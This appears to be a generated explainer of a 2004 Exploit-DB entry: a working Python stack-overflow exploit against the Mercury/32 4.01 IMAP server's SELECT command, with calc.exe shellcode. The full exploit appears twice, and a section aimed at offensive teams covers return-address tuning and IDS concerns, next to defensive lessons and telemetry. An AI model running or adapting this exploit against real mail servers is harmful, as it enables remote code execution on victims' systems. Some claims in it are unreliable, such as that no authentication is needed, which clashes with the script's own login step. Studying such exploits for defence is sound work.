Mercury/32 Mail Server 4.01 IMAP 'Pegasus' Buffer Overflow Explained

Mercury/32 Mail Server 4.01 IMAP 'Pegasus' Buffer Overflow Explained
What this paper is
This paper details a security vulnerability found in the Mercury Mail Transfer Agent (MTA) version 4.01, specifically within its IMAP service. The vulnerability is a classic stack-based buffer overflow that can be triggered by sending a specially crafted SELECT command to the IMAP server. Successful exploitation allows an attacker to execute arbitrary code on the vulnerable server.
Simple technical breakdown
The Mercury Mail server, when handling IMAP connections, has a weakness in how it processes the SELECT command. This command is used to select an IMAP mailbox. The vulnerability lies in a fixed-size buffer used to store the mailbox name provided in the SELECT command. If an attacker sends a mailbox name that is longer than this buffer, it will overflow, overwriting adjacent memory on the stack.
By carefully controlling the length of the input and the data written, an attacker can overwrite the return address on the stack. The return address tells the program where to continue execution after a function finishes. By changing this address to point to malicious code (shellcode) that the attacker also injected into the buffer, the program will jump to and execute the attacker's code instead of returning normally.
Complete code and payload walkthrough
The provided Python script exploits this vulnerability. Let's break down the code and the shellcode.
import struct
import socket
from time import sleep
s = socket.socket(AF_INET, SOCK_STREAM)
# Lame calc.exe shellcode - dont expect miracles!
sc2 = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x29\x81\x73\x17\xb1\x74"
sc2 += "\x3f\x7c\x83\xeb\xfc\xe2\xf4\x4d\x9c\x69\x7c\xb1\x74\x6c\x29\xe7"
sc2 += "\x23\xb4\x10\x95\x6c\xb4\x39\x8d\xff\x6b\x79\xc9\x75\xd5\xf7\xfb"
sc2 += "\x6c\xb4\x26\x91\x75\xd4\x9f\x83\x3d\xb4\x48\x3a\x75\xd1\x4d\x4e"
sc2 += "\x88\x0e\xbc\x1d\x4c\xdf\x08\xb6\xb5\xf0\x71\xb0\xb3\xd4\x8e\x8a"
sc2 += "\x08\x1b\x68\xc4\x95\xb4\x26\x95\x75\xd4\x1a\x3a\x78\x74\xf7\xeb"
sc2 += "\x68\x3e\x97\x3a\x70\xb4\x7d\x59\x9f\x3d\x4d\x71\x2b\x61\x21\xea"
sc2 += "\xb6\x37\x7c\xef\x1e\x0f\x25\xd5\xff\x26\xf7\xea\x78\xb4\x27\xad"
sc2 += "\xff\x24\xf7\xea\x7c\x6c\x14\x3f\x3a\x31\x90\x4e\xa2\xb6\xbb\x5a"
sc2 += "\x6c\x6c\x14\x29\x8a\xb5\x72\x4e\xa2\xc0\xac\xe2\x1c\xcf\xf6\xb5"
sc2 += "\x2b\xc0\xaa\xdb\x74\xc0\xac\x4e\xa4\x55\x7c\x59\x95\xc0\x83\x4e"
sc2 += "\x17\x5e\x10\xd2\x5a\x5a\x04\xd4\x74\x3f\x7c"
#Change RET Address as needed
buffer = '\x41'*260 + struct.pack('<L', 0x782f28f7)+ '\x90'*32+sc2
print "\nSending evil buffer..."
s.connect(('192.168.1.167',143))
s.send('a001 LOGIN ftp ftp' + '\r\n')
data = s.recv(1024)
sleep(3)
s.send('A001 SELECT ' + buffer+'\r\n')
data = s.recv(1024)
s.close()
print "\nDone! "Code Fragment/Block -> Practical Purpose
import struct,import socket,from time import sleep: Imports necessary Python modules for network communication, data packing, and pausing execution.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM): Creates a TCP/IP socket object, which will be used to connect to the target server.sc2 = "...": This is the shellcode. It's a sequence of bytes designed to be executed by the target CPU. The comment "Lame calc.exe shellcode - dont expect miracles!" indicates its purpose is to launch thecalc.exeprogram on Windows, a common proof-of-concept for shellcode.buffer = '\x41'*260 + struct.pack('<L', 0x782f28f7) + '\x90'*32 + sc2: This line constructs the malicious payload.'\x41'*260: This part creates a string of 260 'A' characters (hex0x41). This is the "padding" that fills the vulnerable buffer and overwrites any data between the buffer and the return address. The exact number (260) is crucial for reaching the return address on the stack.struct.pack('<L', 0x782f28f7): This packs the value0x782f28f7as a little-endian (<) unsigned long (L) integer. This value is the Return Address. It's the memory address where the attacker wants the program to jump after the vulnerable function returns. This address must point to the shellcode.'\x90'*32: This is a sequence of 32 "NOP" (No Operation) instructions (\x90). This creates a "NOP sled." If the return address is slightly off, or if execution lands anywhere within this block, the CPU will simply execute NOPs until it hits the actual shellcode. This increases the reliability of the exploit.sc2: This appends the actual shellcode (calc.exelauncher) after the NOP sled.
print "\nSending evil buffer...": Informative message to the user running the script.s.connect(('192.168.1.167',143)): Connects the socketsto the IP address192.168.1.167on port143, which is the default port for IMAP.s.send('a001 LOGIN ftp ftp' + '\r\n'): Sends aLOGINcommand to authenticate. The credentialsftp/ftpare likely placeholders or default credentials that might work on a test system. The\r\nis the standard line terminator for many network protocols.data = s.recv(1024): Receives up to 1024 bytes of data from the server, likely the server's response to the login.sleep(3): Pauses the script for 3 seconds. This might be to allow the server to process the login or to ensure the connection is stable before sending the exploit payload.s.send('A001 SELECT ' + buffer+'\r\n'): This is the core of the exploit. It sends theSELECTcommand with the craftedbufferas the mailbox name. Thebuffercontains the padding, the overwritten return address, the NOP sled, and the shellcode.data = s.recv(1024): Receives the server's response to theSELECTcommand. If successful, this might contain an error or a success message, but the critical part is that the shellcode has likely been executed.s.close(): Closes the network connection.print "\nDone! ": Indicates the script has finished its execution.
Shellcode (sc2) Breakdown:
The shellcode is a complex sequence of bytes that, when executed, will launch calc.exe. It's typical for older shellcode to be heavily encoded and use techniques to find its own location in memory and then execute its payload. Without a disassembler and debugger for the specific target architecture and OS, a precise byte-by-byte analysis is extremely difficult and often unnecessary for understanding its high-level function. However, the comment clearly states its purpose: launching calc.exe. The encoding (\xd9\xee, \xd9\x74\x24\xf4, etc.) is a common technique to evade simple signature-based detection and to make the shellcode self-relocating or self-decoding.
Mapping of Code Fragments to Practical Purpose:
import ...: Setup for network operations.socket.socket(...): Establish connection to the target.sc2 = "...": The payload to be executed on the target.'\x41'*260: Padding to reach the return address.struct.pack('<L', 0x782f28f7): Overwriting the return address with the jump target.'\x90'*32: NOP sled for reliable execution.s.connect(...): Initiating the connection.s.send('a001 LOGIN ...'): Authentication step.sleep(...): Synchronization or delay.s.send('A001 SELECT ' + buffer + '\r\n'): Triggering the buffer overflow.s.close(): Terminating the connection.
Practical details for offensive operations teams
- Required Access Level: Network access to the target server on port 143 (IMAP). No prior authentication or local access is strictly required for this remote exploit, though the script includes a login attempt.
- Lab Preconditions:
- A vulnerable Mercury Mail Transfer Agent (version 4.01) running on a Windows system.
- The IMAP service must be enabled and accessible on port 143.
- A network path from the attacker's machine to the target server's IMAP port.
- The target system should not have any modern exploit mitigation techniques (like DEP or ASLR) that would prevent shellcode execution at the overwritten return address.
- Tooling Assumptions:
- Python interpreter.
- Standard Python libraries (
socket,struct,time). - A network scanner (like Nmap) to identify running services and versions.
- Execution Pitfalls:
- Incorrect Return Address: The
0x782f28f7is specific to the memory layout of the vulnerable application on a particular OS/service pack configuration. If the target system has a different memory layout, this address will be wrong, and the exploit will fail (likely crashing the service or causing a denial of service). Finding the correct return address often requires debugging or using tools likepattern_createandpattern_offset(from Metasploit Framework, for example) to determine the exact offset and a valid address. - Buffer Size Mismatch: The
'\x41'*260padding is critical. If the vulnerable buffer size or stack layout differs slightly, this number needs adjustment. - Firewalls/IDS: Network firewalls might block port 143. Intrusion Detection Systems (IDS) could potentially flag the malformed
SELECTcommand or the shellcode itself. - Shellcode Compatibility: The provided shellcode is for Windows. If the target is a different OS, it would need to be replaced. The "lame" comment suggests it might be basic and potentially detectable.
- Service Restart: If the exploit causes the IMAP service to crash, it will result in a Denial of Service (DoS) until the service is manually restarted.
- Incorrect Return Address: The
- Telemetry:
- Network: Outbound TCP connection to port 143. A large
SELECTcommand containing unusual characters and shellcode bytes. - Host (Target):
- IMAP service process crash or abnormal termination.
- If
calc.exeis successfully launched, a newcalc.exeprocess will appear. - Windows Event Logs might show application crashes (e.g., Dr. Watson logs).
- Memory dumps of the IMAP service process might reveal the overwritten stack.
- Logging: Server-side logs might show an unusually long or malformed
SELECTcommand.
- Network: Outbound TCP connection to port 143. A large
Where this was used and when
- Context: This exploit targets the Mercury Mail Transfer Agent (MTA) 4.01. This was a mail server software popular in the late 1990s and early 2000s. Exploits targeting such software were common in the early days of internet security research.
- Approximate Years/Dates: The exploit was published on November 29, 2004. Vulnerabilities of this nature were actively discovered and exploited throughout the late 1990s and early 2000s. The software itself was likely developed and popular before 2004.
Defensive lessons for modern teams
- Patch Management: The most fundamental lesson is the importance of keeping software up-to-date. This vulnerability would have been fixed in later versions of Mercury Mail.
- Input Validation: Servers must rigorously validate user input, especially lengths and expected formats. Fixed-size buffers are inherently dangerous if not handled with extreme care.
- Secure Coding Practices: Developers should be trained in secure coding practices to avoid common vulnerabilities like buffer overflows. This includes using safer functions (e.g.,
strncpyinstead ofstrcpyin C, though even these have nuances) and employing bounds checking. - Exploit Mitigation Technologies: Modern operating systems and applications employ defenses like:
- Data Execution Prevention (DEP): Prevents code from executing from memory regions marked as data, making it harder for shellcode to run.
- Address Space Layout Randomization (ASLR): Randomizes memory addresses, making it harder for attackers to predict the location of code or return addresses.
- Stack Canaries: Values placed on the stack that are checked before a function returns. If overwritten, it indicates a buffer overflow.
- Network Segmentation and Firewalls: Limiting access to services like IMAP to only necessary internal or trusted external networks can reduce the attack surface.
- Intrusion Detection/Prevention Systems (IDS/IPS): These systems can detect and alert on or block malformed network traffic that attempts to exploit known vulnerabilities.
- Regular Security Audits and Penetration Testing: Proactively identifying and addressing vulnerabilities before they can be exploited by adversaries.
ASCII visual (if applicable)
This exploit involves a simple client-server interaction and a stack overflow. A visual representation of the stack during the overflow can be helpful.
+-----------------------+
| ... |
+-----------------------+
| Function Arguments |
+-----------------------+
| Return Address (OVERWRITTEN) | <-- Attacker's controlled address
+-----------------------+
| Saved Frame Pointer |
+-----------------------+
| Local Variables |
| (Vulnerable Buffer) | <-- Attacker fills this with padding
+-----------------------+
| ... |
+-----------------------+Explanation:
- The
SELECTcommand handler function is called. - Local variables, including the buffer for the mailbox name, are allocated on the stack.
- The return address (where the function should return after completion) is pushed onto the stack.
- The attacker sends a string longer than the buffer.
- The excess data overflows the buffer and overwrites subsequent stack data, including the saved frame pointer and, critically, the Return Address.
- The attacker crafts the overflow data to place a specific address (
0x782f28f7) at the return address location. This address points to the injected shellcode. - When the
SELECTcommand handler finishes, it attempts to return to the address stored on the stack. Instead of returning to the legitimate caller, it jumps to the attacker's controlled address, executing the shellcode.
Source references
- Paper ID: 663
- Paper Title: Mercury/32 Mail Server 4.01 - 'Pegasus' IMAP Buffer Overflow (3)
- Author: muts
- Published: 2004-11-29
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/663
- Raw URL: https://www.exploit-db.com/raw/663
Original Exploit-DB Content (Verbatim)
#########################################################
# #
# Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow #
# Discovered by : Muts #
# Coded by : Muts #
# WWW.WHITEHAT.CO.IL #
# Plain vanilla stack overflow in the SELECT command #
# #
#########################################################
import struct
import socket
from time import sleep
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Lame calc.exe shellcode - dont expect miracles!
sc2 = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x29\x81\x73\x17\xb1\x74"
sc2 += "\x3f\x7c\x83\xeb\xfc\xe2\xf4\x4d\x9c\x69\x7c\xb1\x74\x6c\x29\xe7"
sc2 += "\x23\xb4\x10\x95\x6c\xb4\x39\x8d\xff\x6b\x79\xc9\x75\xd5\xf7\xfb"
sc2 += "\x6c\xb4\x26\x91\x75\xd4\x9f\x83\x3d\xb4\x48\x3a\x75\xd1\x4d\x4e"
sc2 += "\x88\x0e\xbc\x1d\x4c\xdf\x08\xb6\xb5\xf0\x71\xb0\xb3\xd4\x8e\x8a"
sc2 += "\x08\x1b\x68\xc4\x95\xb4\x26\x95\x75\xd4\x1a\x3a\x78\x74\xf7\xeb"
sc2 += "\x68\x3e\x97\x3a\x70\xb4\x7d\x59\x9f\x3d\x4d\x71\x2b\x61\x21\xea"
sc2 += "\xb6\x37\x7c\xef\x1e\x0f\x25\xd5\xff\x26\xf7\xea\x78\xb4\x27\xad"
sc2 += "\xff\x24\xf7\xea\x7c\x6c\x14\x3f\x3a\x31\x90\x4e\xa2\xb6\xbb\x5a"
sc2 += "\x6c\x6c\x14\x29\x8a\xb5\x72\x4e\xa2\xc0\xac\xe2\x1c\xcf\xf6\xb5"
sc2 += "\x2b\xc0\xaa\xdb\x74\xc0\xac\x4e\xa4\x55\x7c\x59\x95\xc0\x83\x4e"
sc2 += "\x17\x5e\x10\xd2\x5a\x5a\x04\xd4\x74\x3f\x7c"
#Change RET Address as needed
buffer = '\x41'*260 + struct.pack('<L', 0x782f28f7)+ '\x90'*32+sc2
print "\nSending evil buffer..."
s.connect(('192.168.1.167',143))
s.send('a001 LOGIN ftp ftp' + '\r\n')
data = s.recv(1024)
sleep(3)
s.send('A001 SELECT ' + buffer+'\r\n')
data = s.recv(1024)
s.close()
print "\nDone! "
# milw0rm.com [2004-11-29]